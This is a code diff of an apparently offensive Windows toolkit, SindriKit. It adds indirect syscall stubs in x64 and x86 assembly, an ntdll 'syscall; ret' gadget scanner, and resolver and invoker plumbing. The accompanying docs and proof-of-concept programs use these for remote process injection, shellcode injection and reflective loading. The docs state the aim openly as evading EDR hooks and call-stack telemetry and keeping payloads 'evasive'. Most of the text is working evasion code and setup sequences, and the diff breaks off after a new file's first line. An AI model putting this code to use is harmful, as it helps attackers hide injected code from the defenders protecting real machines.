> **OpSec Rationale:** Why use a compile-time macro instead of just initializing the variables to default pointers in `syscalls.c`?
> If the variables were unconditionally initialized with pointers to `snd_syscall_indirect_invoke_asm` and `snd_syscall_find_gadget_scan`, the C linker would be forced to pull those entire functions (including the scanner logic and ASM stubs) into the final compiled binary, even if the user explicitly chose to use direct syscalls or no syscalls at all.
> By using `SND_USE_DEFAULTS`, we ensure the default dependency graph is completely severed when disabled, keeping the payload footprint as lean and evasive as possible.
---
## Typical bootstrap (PoC pattern)
```c
PVOID ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
snd_syscall_entry_t entry = {0};
snd_status_t status = snd_syscall_resolve(SND_HASH_NTALLOCATEVIRTUALMEMORY, &entry);
+34 -5
View File
@@ -1,6 +1,6 @@
# Syscall Resolution Engines
SindriKit ships two built-in SSN resolvers. Both implement `snd_syscall_resolver_t` and plug into the cascading pipeline via `snd_syscall_strategy_set` / `snd_syscall_strategy_add`.
SindriKit ships two built-in SSN resolvers. Both implement `snd_syscall_resolver_t` and plug into the cascading pipeline via `snd_syscall_set_resolver` / `snd_syscall_add_resolver`.
| Resolver | File | Hook resistance |
|---|---|---|
@@ -57,7 +57,7 @@ The sorted table is built once per process (`g_table_initialized`). Subsequent r
### Output
Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddress` or `dwHash` — sufficient for `snd_syscall_invoke_asm` which only needs the SSN.
Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddress` or `dwHash` — sufficient for the invoker which only needs the SSN.
### When to use
@@ -71,8 +71,10 @@ Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddres
PoCs and production profiles typically register both:
```c
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
```
Evaluation order:
@@ -93,13 +95,40 @@ snd_status_t my_resolver(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entr
return SND_OK;
}
snd_syscall_strategy_add(my_resolver);
snd_syscall_add_resolver(my_resolver);
```
Maximum **4** strategies in the chain.
---
## Gadget finder (`snd_syscall_find_gadget_scan`)
**Source:** `gadget_scan.c`
Resolves the target function address from the natively loaded NTDLL (via PEB walk, not the user-supplied NTDLL image) and scans for a transition gadget.
### Algorithm
1. Get the natively loaded `ntdll.dll` base via `snd_peb_get_module_base_hash`.
2. Resolve the export address of the target function using its hash.
3. Scan forward up to 32 bytes for the transition signature:
- **x64:** `syscall; ret` (`0F 05 C3`)
- **x86:** Entry point + 5 bytes (skips `mov eax, SSN` and enters the OS-specific transition)
### Output
Populates `entry->pSyscallAddr` with the gadget address.
### When to use
Required when using `snd_syscall_indirect_invoke_asm`. The gadget finder runs automatically during `snd_syscall_resolve` if `g_syscall_gadget_finder` is set.
> [!IMPORTANT]
> The gadget finder uses the **natively loaded** NTDLL from the process PEB, not the user-supplied NTDLL image. This ensures the gadget points to executable memory regardless of how the SSN source was obtained (disk load, KnownDlls map, etc.).
---
## Dependencies
Both resolvers depend on:
+54 -19
View File
@@ -1,6 +1,6 @@
# Syscall Execution Pipeline
EDRs hook `ntdll.dll` syscall stubs in userland. Direct syscalls skip those stubs: the operator resolves the System Service Number (SSN) for a target `Nt*` function and invokes `syscall` with that number.
EDRs hook `ntdll.dll` syscall stubs in userland. Direct syscalls skip those stubs: the operator resolves the System Service Number (SSN) for a target `Nt*` function and invokes `syscall` with that number. SindriKit supports both direct and indirect syscall invocation. Direct syscalls execute the `syscall` instruction inline, while indirect syscalls jump to a legitimate gadget within NTDLL to evade EDR call-stack analysis.
SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime against a caller-supplied `ntdll` image.
@@ -10,9 +10,10 @@ SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime
```mermaid
flowchart LR
A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_strategy_set / _add"]
B --> C["3. snd_syscall_resolve"]
C --> D["4. snd_syscall_invoke_asm"]
A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_set_resolver / _add"]
B --> C["3. snd_syscall_set_invoker"]
C --> D["4. snd_syscall_resolve"]
D --> E["5. g_syscall_invoker"]
```
### 1. Provide `ntdll` base
@@ -34,13 +35,28 @@ See [mapping techniques](../mapping/techniques.md) for KnownDlls bootstrap.
### 2. Configure strategy chain
```c
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); // primary
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); // fallback
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
```
`snd_syscall_strategy_set` **replaces** the entire chain. Each `snd_syscall_strategy_add` appends up to 3 fallbacks (4 total).
`snd_syscall_set_resolver` **replaces** the entire chain. Each `snd_syscall_add_resolver` appends up to 3 fallbacks (4 total).
### 3. Resolve SSN
### 3. Configure invoker
```c
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); // direct
// or
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); // indirect
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); // required for indirect
```
Indirect invocation requires a gadget finder. `snd_syscall_find_gadget_scan` resolves the target function in the natively loaded NTDLL via PEB and scans for a `syscall; ret` gadget (x64) or the transition stub entry (x86).
### 4. Resolve SSN
```c
snd_syscall_entry_t entry = {0};
@@ -49,20 +65,23 @@ snd_status_t status = snd_syscall_resolve(SND_HASH_NTOPENSECTION, &entry);
`snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`.
### 4. Invoke
### 5. Invoke
Populate `snd_syscall_args_t` and call the ASM stub:
Populate `snd_syscall_args_t` and call via the global invoker:
```c
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = ...;
// arg2arg11 as required by the target syscall
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
NTSTATUS nt_status = g_syscall_invoker(&args);
```
`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 34 internally — operators only bootstrap once at startup.
`sys_addr` is only used by the indirect invoker; the direct invoker ignores it.
`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 45 internally — operators only bootstrap once at startup.
---
@@ -75,8 +94,12 @@ snd_status_t st = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
if (SND_FAILED(st)) return st;
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// Resolve + invoke NtClose
snd_syscall_entry_t entry = {0};
@@ -85,13 +108,25 @@ if (SND_FAILED(st)) return st;
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = handle;
NTSTATUS nt = snd_syscall_invoke_asm(&args);
NTSTATUS nt = g_syscall_invoker(&args);
```
---
## `SND_USE_DEFAULTS`
When enabled, all globals (invoker, gadget finder, primary resolver) are pre-configured. The only required bootstrap call is `snd_syscall_set_ntdll()`.
> [!TIP]
> **OpSec Rationale:** Why use a compile-time macro instead of just initializing the variables to default pointers in `syscalls.c`?
> If the variables were unconditionally initialized with pointers to `snd_syscall_indirect_invoke_asm` and `snd_syscall_find_gadget_scan`, the C linker would be forced to pull those entire functions (including the scanner logic and ASM stubs) into the final compiled binary, even if the user explicitly chose to use direct syscalls or no syscalls at all.
> By using `SND_USE_DEFAULTS`, we ensure the default dependency graph is completely severed when disabled, keeping the payload footprint as lean and evasive as possible.
---
## Integration with `_sys` backends
After bootstrap, swapping to syscall-backed primitives requires no additional setup:
@@ -101,7 +136,7 @@ ctx.mem_api = &snd_mem_sys;
inj_ctx.proc_api = &snd_proc_sys;
```
Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash, packs arguments into `snd_syscall_args_t`, and invokes `snd_syscall_invoke_asm`.
Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash, packs arguments into `snd_syscall_args_t`, and invokes `g_syscall_invoker`.
---
@@ -109,10 +144,10 @@ Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash,
| Status | Cause |
|---|---|
| `SND_STATUS_NOT_INITIALIZED` | `snd_syscall_set_ntdll` not called, or no strategies registered |
| `SND_STATUS_NOT_INITIALIZED` | `snd_syscall_set_ntdll` not called, invoker not set, or no strategies registered |
| `SND_STATUS_SSN_NOT_FOUND` | All strategies failed for the hash |
| `SND_STATUS_BUFFER_TOO_SMALL` | Strategy chain full (max 4) |
| `SND_STATUS_INVALID_PARAMETER` | NULL resolver passed to `strategy_add` |
| `SND_STATUS_PIPELINE_EXHAUSTED` | Strategy chain full (max 4) |
| `SND_STATUS_NULL_POINTER` | NULL resolver passed to `strategy_add` |
---
+4 -2
View File
@@ -47,8 +47,10 @@ ldr_ctx.raw_source = &file_buf;
PVOID ntdll = NULL;
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
```
### 3. Configure loader and injection contexts
+5 -2
View File
@@ -44,9 +44,12 @@ status = snd_disk_buffer_load(file_path, &inject_buf);
```c
PVOID ntdll = NULL;
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
```
This PoC bootstraps the pipeline but uses `snd_proc_win` for injection. Swap to `&snd_proc_sys` to use the prepared pipeline for stealth remote operations.
+1 -1
View File
@@ -22,7 +22,7 @@ No CLI — edit `file_path` in `main.c` before building.
PVOID ntdll = NULL;
status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
```
### 2. Configure loader context
+4 -2
View File
@@ -31,8 +31,10 @@ status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf);
PVOID ntdll = ntdll_buf.data;
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
```
Commented alternatives in `pocs/loader_nowinapi/main.c` (swap in for different OpSec trade-offs):
+21 -13
View File
@@ -40,7 +40,7 @@ See [Dependency injection](../architecture/dependency_injection.md) for the full
## 3. Explicit bootstrap (no implicit globals)
> [!IMPORTANT]
> Syscall-backed backends (`snd_mem_sys`, `snd_proc_sys`) and the syscall resolution pipeline require **explicit initialization**. The engine does not auto-discover a clean `ntdll` base or SSN table.
> Syscall-backed backends (`snd_mem_sys`, `snd_proc_sys`) and the syscall resolution pipeline require **explicit initialization**. The engine does not auto-discover a clean `ntdll` base or SSN table (unless `SND_USE_DEFAULTS=ON`, where only `snd_syscall_set_ntdll()` is strictly required).
### Minimum syscall bootstrap
@@ -50,24 +50,30 @@ PVOID ntdll = NULL;
// Option A: KnownDlls (preferred for inject_pe / production syscall paths)
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
// Option B: disk load (loader_nowinapi default)
// status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf);
// ntdll = ntdll_buf.data;
// Option C: PEB walk (no disk I/O)
// Option B: PEB walk (no disk I/O)
// status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
// Option C: disk load
// ...
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
```
| Step | Purpose |
|---|---|
| Obtain `ntdll` base | SSN scan/sort read export stubs from this image |
| `snd_syscall_set_ntdll` | Registers the base for all resolvers |
| `snd_syscall_strategy_set` | Primary resolver (scan) |
| `snd_syscall_strategy_add` | Fallback resolver (sort) |
| `snd_syscall_set_resolver` | Primary resolver (scan) |
| `snd_syscall_add_resolver` | Fallback resolver (sort) |
| `snd_syscall_set_invoker` | Selects direct or indirect invocation |
| `snd_syscall_set_gadget_finder` | Required for indirect invocation only |
Even when using **`snd_mem_nt`** (in-process `ntdll` stubs, not direct syscalls), PoCs still bootstrap the pipeline so upgrading to **`snd_mem_sys`** requires no other code changes.
@@ -147,7 +153,7 @@ snd_inj_cleanup(&inj_ctx);
|---|---|---|---|---|---|
| Diagnostic | `loader_winapi` | `snd_mem_win` | `snd_mod_win` | — | Optional |
| NT stubs | `loader_nowinapi` | `snd_mem_nt` | `snd_mod_nt` | — | Required (disk `ntdll`) |
| Direct syscalls | `inject_pe` | `snd_mem_sys` | `snd_mod_nt` | `snd_proc_sys` | Required (KnownDlls) |
| Direct/Indirect syscalls | `inject_pe` | `snd_mem_sys` | `snd_mod_nt` | `snd_proc_sys` | Required (KnownDlls) |
| CRT-less | `loader_noCRT_nowinapi` | `snd_mem_win` | `snd_mod_nt` | — | Minimal |
| Shellcode inject | `inject_shell` | — | — | `snd_proc_win` | Yes (KnownDlls; unused while `_win`) |
| WoW64 x64 exec | `heavens_gate` | Win32 demo alloc | — | — | N/A |
@@ -180,8 +186,10 @@ Avoids `VirtualAlloc` / `LoadLibrary` telemetry; calls still pass through in-pro
```c
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
ldr_ctx.mem_api = &snd_mem_sys;
ldr_ctx.mod_api = &snd_mod_nt;
+2
View File
@@ -62,11 +62,13 @@ Include `sindri.h` or granular headers (`sindri/primitives.h`, etc.). Hash const
| `SND_RANDOMIZE_SEED` | `OFF` | Random `SND_HASH_SEED` per configure | OFF keeps deterministic hashes for faster rebuilds |
| `SND_BUILD_PAYLOADS` | `OFF` | Build `pocs/` executables | Full set when `SND_CRTLESS=OFF` |
| `SND_BUILD_TESTS` | `OFF` | Build test payloads + integration harness inputs | **Requires CRT**; forces `SND_CRTLESS=OFF` |
| `SND_USE_DEFAULTS` | `OFF` | Pre-configure syscall invoker, gadget finder, and resolver globals | Defaults to indirect invoke + scan resolver + gadget scan. **OpSec note**: Left OFF by default so unused ASM stubs and scanners aren't linked into the final binary. |
### Guards (CMake)
- `SND_BUILD_TESTS=ON``SND_CRTLESS` forced OFF
- `SND_CRTLESS=ON``SND_ENABLE_DEBUG` and `SND_USE_PRINTF` forced OFF
- `SND_USE_DEFAULTS=ON` → invoker = `snd_syscall_indirect_invoke_asm`, gadget finder = `snd_syscall_find_gadget_scan`, resolver = `snd_syscall_resolve_ssn_scan`
- Non-Windows configure → fatal error
Use a **clean build directory** when switching between CRT-less and test builds.
+3 -3
View File
@@ -12,8 +12,8 @@ Keeping these separate reflects the code layout:
```
include/sindri/parsers/
├── pe/ buffer-backed PE format parsing
└── env/ live process environment structures
├── pe/ <- buffer-backed PE format parsing
└── env/ <- live process environment structures
```
NT layout definitions (`SND_PEB`, `SND_LDR_DATA_TABLE_ENTRY`, etc.) live in `include/sindri/internal/nt/peb.h`. Env parsers consume these layouts; they do not duplicate Windows SDK headers to avoid pulling in monitored imports.
@@ -50,7 +50,7 @@ Loaded modules are tracked in three linked lists inside `SND_PEB_LDR_DATA`:
```
InLoadOrderModuleList
InMemoryOrderModuleList used by SindriKit
InMemoryOrderModuleList <- used by SindriKit
InInitializationOrderModuleList
```
+27 -3
View File
@@ -11,6 +11,10 @@ SND_BEGIN_EXTERN_C
#define SND_MAX_SYSCALLS 500
#define SND_MAX_SYS_NAME_LEN 256
#ifndef SND_USE_DEFAULTS
#define SND_USE_DEFAULTS 0
#endif
/**
* @brief Syscall entry structure holding the address, hash, and syscall number.
*/
@@ -18,6 +22,7 @@ typedef struct {
PVOID pAddress;
DWORD dwHash;
WORD wSystemCall;
PVOID pSyscallAddr;
} snd_syscall_entry_t;
/**
@@ -36,6 +41,9 @@ typedef struct {
PVOID arg9;
PVOID arg10;
PVOID arg11;
// Placed at the end to prevent altering the memory offsets of args 1-11
// inside the existing Direct ASM stub (invoke_x64.asm).
PVOID sys_addr;
} snd_syscall_args_t;
/**
@@ -43,22 +51,37 @@ typedef struct {
* Any custom or future gate can be plugged into the engine if it matches this.
*/
typedef snd_status_t (*snd_syscall_resolver_t)(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out);
typedef NTSTATUS (*snd_syscall_invoker_t)(snd_syscall_args_t *args);
typedef snd_status_t (*snd_syscall_gadget_finder_t)(snd_syscall_entry_t *entry);
snd_status_t snd_syscall_resolve_ssn_scan(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
snd_status_t snd_syscall_resolve_ssn_sort(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry);
#if SND_USE_DEFAULTS
#define SND_SYSCALL_INVOKER_DEFAULT snd_syscall_indirect_invoke_asm
#define SND_SYSCALL_GADGET_FINDER_DEFAULT snd_syscall_find_gadget_scan
#define SND_SYSCALL_RESOLVER_DEFAULT snd_syscall_resolve_ssn_scan
#else
#define SND_SYSCALL_INVOKER_DEFAULT NULL
#define SND_SYSCALL_GADGET_FINDER_DEFAULT NULL
#define SND_SYSCALL_RESOLVER_DEFAULT NULL
#endif
/**
* @brief Sets the primary syscall resolution strategy using a function pointer.
* @param resolver The resolver function to use as the primary strategy.
*/
void snd_syscall_strategy_set(snd_syscall_resolver_t resolver);
void snd_syscall_set_resolver(snd_syscall_resolver_t resolver);
/**
* @brief Adds a fallback syscall resolution strategy to the pipeline.
* @param resolver The fallback resolver function to add.
* @return SND_OK on success, or an error if the pipeline is full.
*/
snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver);
snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver);
void snd_syscall_set_invoker(snd_syscall_invoker_t invoker);
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder);
/**
* @brief Sets the global base address of the ntdll.dll module.
@@ -81,7 +104,8 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
* @param args Pointer to the syscall arguments structure.
* @return The NTSTATUS returned by the syscall.
*/
extern NTSTATUS snd_syscall_invoke_asm(snd_syscall_args_t *args);
extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args);
extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
SND_END_EXTERN_C
+4 -2
View File
@@ -72,10 +72,12 @@ int main(int argc, char *argv[]) {
goto cleanup;
}
snd_syscall_set_ntdll(ntdll);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
/* Configure the cascading syscall resolution strategy. */
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
// Configure Loader: Use syscalls for memory, Native API for module resolution
ldr_ctx.mem_api = &snd_mem_sys;
+3 -2
View File
@@ -80,8 +80,9 @@ int main(int argc, char *argv[]) {
snd_syscall_set_ntdll(ntdll);
/* Configure the cascading syscall resolution strategy. */
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
inj_ctx.target_pid = target_pid;
inj_ctx.payload = &inject_buf;
+3 -3
View File
@@ -1,5 +1,3 @@
#include "sindri/primitives/memory.h"
#include <sindri.h>
int main() {
@@ -19,7 +17,9 @@ int main() {
snd_syscall_set_ntdll(ntdll);
/* Configure the cascading syscall resolution strategy. */
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
ctx.mem_api = &snd_mem_win;
ctx.mod_api = &snd_mod_nt;
+7 -4
View File
@@ -1,4 +1,5 @@
#include <sindri.h>
#include <sindri/primitives/syscalls.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
@@ -122,7 +123,7 @@ int main(int argc, char *argv[]) {
}
ntdll_ctx.mem_api = &snd_mem_win;
ntdll_ctx.mod_api = &snd_mod_nt;
ntdll_ctx.mod_api = &snd_mod_win;
ntdll_ctx.raw_source = &ntdll_buf;
status = snd_pe_parse(ntdll_ctx.raw_source, FALSE, &ntdll_ctx.pe);
@@ -157,9 +158,11 @@ int main(int argc, char *argv[]) {
snd_syscall_set_ntdll(ntdll);
/* Configure the cascading syscall resolution strategy. */
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
ctx.mem_api = &snd_mem_sys;
ctx.mod_api = &snd_mod_nt;
+1 -2
View File
@@ -1,8 +1,7 @@
#include "sindri/loaders/reflective/engine.h"
#include <sindri/common/debug.h>
#include <sindri/common/status.h>
#include <sindri/loaders/reflective/chain.h>
#include <sindri/loaders/reflective/engine.h>
#include <windows.h>
typedef BOOL(WINAPI *snd_dll_entry_proc_t)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
@@ -1,9 +1,9 @@
; ===========================================================================
; invoke_x64.asm - SindriKit Syscall Invocation ASM Stub (x64 / MASM)
; invoke_direct_x64.asm - SindriKit Syscall Invocation ASM Stub (x64 / MASM)
; ===========================================================================
;
; Exports:
; snd_syscall_invoke_asm
; snd_syscall_direct_invoke_asm
;
; Invokes a syscall with up to 10 arguments safely, setting up the
; required stack and register states for the x64 calling convention.
@@ -11,10 +11,10 @@
.code
PUBLIC snd_syscall_invoke_asm
PUBLIC snd_syscall_direct_invoke_asm
; snd_syscall_invoke_asm(SND_SYSCALL_ARGS* args)
snd_syscall_invoke_asm PROC
; snd_syscall_direct_invoke_asm(SND_SYSCALL_ARGS* args)
snd_syscall_direct_invoke_asm PROC
; Allocate 96 bytes on stack to safely store args 5-11
; (32 bytes shadow space + 56 bytes for 7 args + 8 bytes padding for 16-byte alignment)
sub rsp, 96
@@ -48,6 +48,6 @@ snd_syscall_invoke_asm PROC
; Restore stack and return
add rsp, 96
ret
snd_syscall_invoke_asm ENDP
snd_syscall_direct_invoke_asm ENDP
end
@@ -1,9 +1,9 @@
; ===========================================================================
; invoke_x86.asm - SindriKit Syscall Invocation ASM Stub (x86 / MASM)
; invoke_direct_x86.asm - SindriKit Syscall Invocation ASM Stub (x86 / MASM)
; ===========================================================================
;
; Exports:
; snd_syscall_invoke_asm
; snd_syscall_direct_invoke_asm
;
; Invokes a syscall with up to 11 arguments safely. Handles both native x86
; via int 0x2E and WOW64 execution environments.
@@ -14,9 +14,9 @@
.code
PUBLIC snd_syscall_invoke_asm
PUBLIC snd_syscall_direct_invoke_asm
snd_syscall_invoke_asm PROC
snd_syscall_direct_invoke_asm PROC
; Setup standard frame
push ebp
mov ebp, esp
@@ -65,6 +65,6 @@ cleanup:
pop ebp
ret
snd_syscall_invoke_asm ENDP
snd_syscall_direct_invoke_asm ENDP
end
@@ -0,0 +1,69 @@
; ===========================================================================
; invoke_indirect_x64.asm - SindriKit Indirect Syscall Invocation ASM Stub
; ===========================================================================
;
; Exports:
; snd_syscall_indirect_invoke_asm
;
; Invokes a syscall indirectly by jumping to a legitimate `syscall` gadget
; within ntdll.dll to evade EDR telemetry checking the RIP of the syscall.
; ===========================================================================
.code
PUBLIC snd_syscall_indirect_invoke_asm
; snd_syscall_indirect_invoke_asm(SND_SYSCALL_ARGS* args)
snd_syscall_indirect_invoke_asm PROC
push rbp
mov rbp, rsp
sub rsp, 88
; RCX points to SND_SYSCALL_ARGS struct
; Extract the gadget address (sys_addr) which is at the very end of the struct
; Offset is 96 (WORD ssn (2) + padding (6) + 11*PVOID (88))
mov r11, [rcx+96]
test r11, r11
jnz GadgetValid
mov eax, 0C000000Dh
jmp Cleanup
GadgetValid:
; Setup stack arguments (args 5-11) safely in a new frame
mov rax, [rcx+40] ; arg5
mov [rsp+32], rax
mov rax, [rcx+48] ; arg6
mov [rsp+40], rax
mov rax, [rcx+56] ; arg7
mov [rsp+48], rax
mov rax, [rcx+64] ; arg8
mov [rsp+56], rax
mov rax, [rcx+72] ; arg9
mov [rsp+64], rax
mov rax, [rcx+80] ; arg10
mov [rsp+72], rax
mov rax, [rcx+88] ; arg11
mov [rsp+80], rax
; Extract SSN and arguments 1-4
movzx eax, word ptr [rcx] ; ssn is a WORD
mov r10, [rcx+8] ; arg1 (must go to r10 for syscall)
mov rdx, [rcx+16] ; arg2
mov r8, [rcx+24] ; arg3
mov r9, [rcx+32] ; arg4
lea r12, Cleanup
push r12
; Jump to the NTDLL syscall gadget
jmp r11
Cleanup:
mov rsp, rbp
pop rbp
ret
snd_syscall_indirect_invoke_asm ENDP
end
@@ -0,0 +1,71 @@
; ===========================================================================
; invoke_indirect_x86.asm - SindriKit Indirect Syscall Invocation ASM Stub
; ===========================================================================
;
; Exports:
; snd_syscall_indirect_invoke_asm
;
; Invokes a syscall indirectly by jumping into the middle of the NTDLL stub.
; ===========================================================================
.686
.model flat, c
.code
PUBLIC snd_syscall_indirect_invoke_asm
; NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t* args)
snd_syscall_indirect_invoke_asm PROC
push ebp
mov ebp, esp
; Save non-volatile registers
push edi
push esi
push ebx
mov eax, [ebp+8]
mov ecx, [eax+48]
test ecx, ecx
jnz GadgetValid
mov eax, 0C000000Dh
jmp Cleanup
GadgetValid:
; Push 11 arguments
push [eax+44] ; arg11
push [eax+40] ; arg10
push [eax+36] ; arg9
push [eax+32] ; arg8
push [eax+28] ; arg7
push [eax+24] ; arg6
push [eax+20] ; arg5
push [eax+16] ; arg4
push [eax+12] ; arg3
push [eax+8] ; arg2
push [eax+4] ; arg1
; Extract SSN into EAX for the syscall
movzx eax, word ptr [eax]
lea edx, SyscallCleanup
push edx
jmp ecx
SyscallCleanup:
lea esp, [ebp - 12]
Cleanup:
; Restore non-volatile registers
pop ebx
pop esi
pop edi
pop ebp
ret
snd_syscall_indirect_invoke_asm ENDP
end
@@ -0,0 +1,68 @@
#include <sindri/common/macros.h>
